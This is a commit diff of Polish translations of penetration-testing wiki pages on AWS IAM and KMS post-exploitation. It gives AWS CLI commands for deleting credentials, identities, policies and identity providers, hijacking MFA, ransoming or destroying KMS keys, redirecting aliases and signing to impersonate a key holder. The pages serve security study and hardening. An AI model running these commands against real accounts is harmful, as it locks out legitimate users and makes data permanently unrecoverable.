Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-07 09:56:32 +00:00
parent ab2d5e1612
commit 429f000617
2 changed files with 168 additions and 39 deletions
@@ -4,23 +4,23 @@
## IAM
Aby uzyskać więcej informacji na temat dostępu IAM:
For more information about IAM access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
## Problem z Confused Deputy
## Confused Deputy Problem
Jeśli **zezwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w swoim koncie, prawdopodobnie będziesz mi **0 widoczności** na to, **kto dokładnie może uzyskać dostęp do tego zewnętrznego konta**. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do zewnętrznego konta (A), istnieje możliwość, że **B również będzie mogło uzyskać dostęp do twojego konta**.
Jeżeli **pozwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w Twoim koncie, prawdopodobnie będziesz mi **zerową widoczność** kto dokładnie może uzyskać dostęp do tego zewnętrznego konta. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do konta zewnętrznego (A), możliwe że **B będzie też w stanie uzyskać dostęp do Twojego konta**.
Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, można określić `ExternalId`. To jest "tajny" ciąg, który zewnętrzne konto (A) **musi określić**, aby **przyjąć rolę w twojej organizacji**. Ponieważ **zewnętrzne konto B nie będzie znało tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do twojej roli**.
Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w Twoim koncie, można określić `ExternalId`. Jest to "sekretny" ciąg, który zewnętrzne konto (A) **musi podać**, aby **assume the role w Twojej organizacji**. Ponieważ **zewnętrzne konto B nie zna tego ciągu**, nawet jeśli ma dostęp do A **nie będzie w stanie uzyskać dostępu do Twojej roli**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł go zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A do uzyskania dostępu do twojej roli**.
Należy jednak pamiętać, że ten `ExternalId` "sekret" **nie jest sekretem**, każdy kto potrafi **przeczytać IAM assume role policy będzie w stanie go zobaczyć**. Ale dopóki zewnętrzne konto A go zna, a zewnętrzne konto **B go nie zna**, to **uniemożliwia B wykorzystanie A do uzyskania dostępu do Twojej roli**.
Przykład:
Example:
```json
{
"Version": "2012-10-17",
@@ -39,11 +39,11 @@ Przykład:
}
```
> [!WARNING]
> Aby atakujący mógł wykorzystać zdezorientowanego zastępcę, musi w jakiś sposób ustalić, czy podmioty bieżącego konta mogą udawać role w innych kontach.
> Aby atakujący mógł wykorzystać confused deputy, musi w jakiś sposób ustalić, czy principals bieżącego konta mogą impersonate roles w innych kontach.
### Nieoczekiwane zaufania
#### Wildcard jako podmiot
#### Wildcard jako principal
```json
{
"Action": "sts:AssumeRole",
@@ -51,9 +51,9 @@ Przykład:
"Principal": { "AWS": "*" }
}
```
Ta polityka **zezwala wszystkim AWS** na przyjęcie roli.
Ta polityka **pozwala całemu AWS** na przejęcie roli.
#### Usługa jako główny
#### Usługa jako principal
```json
{
"Action": "lambda:InvokeFunction",
@@ -62,9 +62,9 @@ Ta polityka **zezwala wszystkim AWS** na przyjęcie roli.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tej Lambdy.
Ta polityka **pozwala dowolnemu kontu** skonfigurować swój apigateway, aby wywołać tę funkcję Lambda.
#### S3 jako główny
#### S3 jako podmiot
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway d
}
}
```
Jeśli kubeł S3 jest podany jako główny, ponieważ kubeł S3 nie ma identyfikatora konta, jeśli **usunięto twój kubeł, a atakujący go stworzył** na swoim koncie, to mogliby to wykorzystać.
Jeśli jako principal podano S3 bucket, ponieważ S3 buckets nie mają Account ID, jeśli **usunąłeś swój bucket i attacker utworzył** go na swoim koncie, to mógłby to wykorzystać.
#### Nieobsługiwane
```json
@@ -84,9 +84,81 @@ Jeśli kubeł S3 jest podany jako główny, ponieważ kubeł S3 nie ma identyfik
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Powszechnym sposobem unikania problemów z Confused Deputy jest użycie warunku z `AWS:SourceArn`, aby sprawdz ARN pochodzenia. Jednak **niektóre usługi mogą tego nie wspier** (jak CloudTrail według niektórych źródeł).
Powszechnym sposobem uniknięcia problemów Confused Deputy jest użycie warunku z `AWS:SourceArn` do sprawdzenia ARN źródła. Jednakże, **niektóre usługi mogą tego nie obsługiw** (np. CloudTrail według niektórych źródeł).
## References
### Usuwanie poświadczeń
Posiadając któreś z poniższych uprawnień — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — aktor może usunąć klucze dostępu, profile logowania, klucze SSH, poświadczenia specyficzne dla usługi, profile instancji, certyfikaty lub klucze publiczne CloudFront, albo odłączyć role od profili instancji. Tego typu działania mogą natychmiast zablokować prawowitych użytkowników i aplikacje oraz spowodować denial-of-service lub utratę dostępu dla systemów, które polegają na tych poświadczeniach, dlatego te uprawnienia IAM muszą być ściśle ograniczone i monitorowane.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE
## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Usunięcie tożsamości
Z uprawnieniami takimi jak `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, lub `iam:RemoveUserFromGroup`, aktor może usuwać użytkowników, role lub grupy — albo zmieniać członkostwo w grupie — usuwając tożsamości i powiązane ślady. Może to natychmiast przerwać dostęp dla osób i usług zależnych od tych tożsamości, powodując denial-of-service lub utratę dostępu, więc te akcje IAM muszą być ściśle ograniczone i monitorowane.
```bash
# Delete a user
aws iam delete-user \
--user-name <Username>
# Delete a group
aws iam delete-group \
--group-name <Username>
# Delete a role
aws iam delete-role \
--role-name <Role>
```
Dysponując którąkolwiek z poniższych uprawnień — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — aktor może usuwać lub odłączać managed/inline policies, usuwać wersje polityk lub permissions boundaries oraz odłączać polityki od użytkowników, grup lub ról. To niszczy autoryzacje i może zmienić model uprawnień, powodując natychmiastową utratę dostępu lub odmowę usługi dla principalów zależnych od tych polityk, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
```bash
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>
# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### Usuwanie tożsamości federacyjnej
Z uprawnieniami `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` oraz `iam:RemoveClientIDFromOpenIDConnectProvider` aktor może usunąć dostawców tożsamości OIDC/SAML lub usunąć identyfikatory klienta. To przerywa uwierzytelnianie federacyjne, uniemożliwiając walidację tokenów i natychmiast odmawiając dostępu użytkownikom i usługom polegającym na SSO, dopóki IdP lub konfiguracje nie zostaną przywrócone.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Nieautoryzowana aktywacja MFA
With `iam:EnableMFADevice`, osoba atakująca może zarejestrować urządzenie MFA na tożsamości użytkownika, uniemożliwiając legalnemu użytkownikowi zalogowanie się. Po włączeniu nieautoryzowanego urządzenia MFA użytkownik może zostać zablokowany do czasu usunięcia lub zresetowania urządzenia (uwaga: jeśli zarejestrowanych jest wiele urządzeń MFA, do zalogowania potrzebne jest tylko jedno, więc ten atak nie spowoduje odmowy dostępu).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Manipulacja metadanych certyfikatów/kluczy
Za pomocą `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` atakujący może zmienić status lub metadane kluczy publicznych i certyfikatów. Oznaczając klucze/certyfikaty jako nieaktywne lub zmieniając referencje, atakujący może przerwać uwierzytelnianie SSH, unieważnić weryfikacje X.509/TLS i natychmiast zakłócić działanie usług zależnych od tych poświadczeń, powodując utratę dostępu lub niedostępność.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive
aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
## Źródła
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
@@ -4,23 +4,23 @@
## KMS
Aby uzyskać więcej informacji, sprawdź:
Więcej informacji:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Szyfrowanie/Odszyfrowanie informacji
### Szyfrowanie/Deszyfrowanie informacji
`fileb://` i `file://` to schematy URI używane w poleceniach AWS CLI do określenia ścieżki do lokalnych plików:
`fileb://` i `file://` to schematy URI używane w poleceniach AWS CLI do określania ścieżki do plików lokalnych:
- `fileb://:` Odczytuje plik w trybie binarnym, powszechnie używany dla plików nie-tekstowych.
- `file://:` Odczytuje plik w trybie tekstowym, zazwyczaj używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania.
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używane dla plików binarnych.
- `file://:` Odczytuje plik w trybie tekstowym, typowo używane dla plików tekstowych, skryptów lub JSON, który nie wymaga specjalnego kodowania.
> [!TIP]
> Zauważ, że jeśli chcesz odszyfrować dane w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://)
> Zwróć uwa, że jeśli chcesz odszyfrować dane znajdujące się w pliku, plik musi zawierać dane binarne, a nie dane zakodowane base64. (fileb://)
- Używając klucza **symetrycznego**
- Używając **symetrycznego** klucza
```bash
# Encrypt data
aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
- Używając klucza **asymetrycznego**:
- Użycie **asymetrycznego** klucza:
```bash
# Encrypt data
aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę KMS kluczy i **przyznać swojemu kontu dostęp do nich**, usuwając dostęp przyznany legalnemu kontu.
Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować KMS policy kluczy i **przyznać swojemu account dostęp do nich**, jednocześnie usuwając dostęp przyznany legit account.
Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie.
Wówczas użytkownicy legit account nie będą mogli uzyskać dostępu do danych żadnej usługi zaszyfrowanej tymi kluczami, tworząc prosty, lecz skuteczny ransomware na konto.
> [!WARNING]
> Zauważ, że **klucze zarządzane przez AWS nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
> Zauważ również potrzebę użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI).
> Zwróć uwa, że **AWS managed keys aren't affected** przez ten atak — dotyczy to tylko **Customer managed keys**.
>
> Zwróć także uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w web console sprawia, że ten atak jest możliwy tylko z CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko do zewnętrznego konta, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Policy nie może być wykonana z konta zewnętrznego**.
> Zwróć uwa, że jeśli zmienisz tę politykę i przyznasz dostęp tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **przywrócić dostęp do konta oryginalnego, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z innego konta**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Ogólny KMS Ransomware
#### Globalny KMS Ransomware
Istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki:
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utwórz nowy **klucz z materiałem klucza** importowanym przez atakującego
- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nowym.
- Utwórz nowy **klucz z materiałem klucza** zimportowanym przez atakującego
- **Ponownie zaszyfruj starsze dane** ofiary, które były zaszyfrowane poprzednią wersją, przy użyciu nowej
- **Usuń klucz KMS**
- Teraz tylko atakujący, który ma oryginalny materiał klucza, mógłby odszyfrować zaszyfrowane dane
- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie mógł odszyfrować zaszyfrowane dane
### Zniszcz klucze
### Usuwanie kluczy za pomocą kms:DeleteImportedKeyMaterial
Posiadając uprawnienie `kms:DeleteImportedKeyMaterial`, podmiot może usunąć zaimportowany materiał klucza z CMKs o `Origin=EXTERNAL` (CMKs, które zaimportowały materiał klucza), uniemożliwiając im odszyfrowanie danych. Ta akcja jest destrukcyjna i nieodwracalna, chyba że kompatybilny materiał zostanie ponownie zaimportowany, co pozwala atakującemu w praktyce spowodować utratę danych przypominającą ransomware, czyniąc zaszyfrowane informacje trwale niedostępnymi.
```bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
aws kms delete-imported-key-material --key-id <Key_ID>
```
### Zniszczenie kluczy
Zniszczenie kluczy może umożliwić przeprowadzenie DoS.
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> Zauważ, że AWS teraz **zapobiega wykonywaniu poprzednich działań z konta zewnętrznego:**
> Zwróć uwa, że AWS teraz **uniemożliwia wykonywanie poprzednich działań z cross account:**
### Zmiana lub usunięcie aliasu
Ten atak usuwa lub przekierowuje AWS KMS aliases, przerywając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach, które polegają na tych aliasach, skutkując denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias` atakujący może usunąć lub przemapować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odnosi się do aliasu zamiast do key ID, może przestać działać, dopóki alias nie zostanie przywrócony lub poprawnie odwzorowany.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
Posiadając uprawnienia takie jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie AWS KMS customer master key i później ponownie je włączyć. Dzięki temu klucz zostaje odzyskany (początkowo w stanie Disabled) i przywrócona zostaje jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając exfiltration.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### Wyłączenie klucza
Dzięki uprawnieniu `kms:DisableKey` aktor może wyłączyć AWS KMS customer master key, uniemożliwiając jego użycie do szyfrowania lub odszyfrowywania. To przerywa dostęp dla wszelkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, aż klucz zostanie ponownie włączony.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Derive Shared Secret
Z uprawnieniem `kms:DeriveSharedSecret` podmiot może użyć prywatnego klucza przechowywanego w KMS oraz dostarczonego przez użytkownika klucza publicznego, aby obliczyć wspólny sekret ECDH.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
Posiadając uprawnienie `kms:Sign`, podmiot może użyć CMK przechowywanego w KMS do kryptograficznego podpisania danych bez ujawniania klucza prywatnego, generując ważne podpisy, które mogą umożliwić impersonation lub autoryzować złośliwe działania.
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS z Custom Key Stores
Posiadając uprawnienia takie jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` lub `kms:UpdateCustomKeyStore`, aktor może zmodyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), uniemożliwiając działanie jego kluczy głównych. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla wszelkich usług polegających na tych kluczach i może spowodować natychmiastowe denial-of-service. Dlatego krytyczne jest ograniczanie i monitorowanie tych uprawnień.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}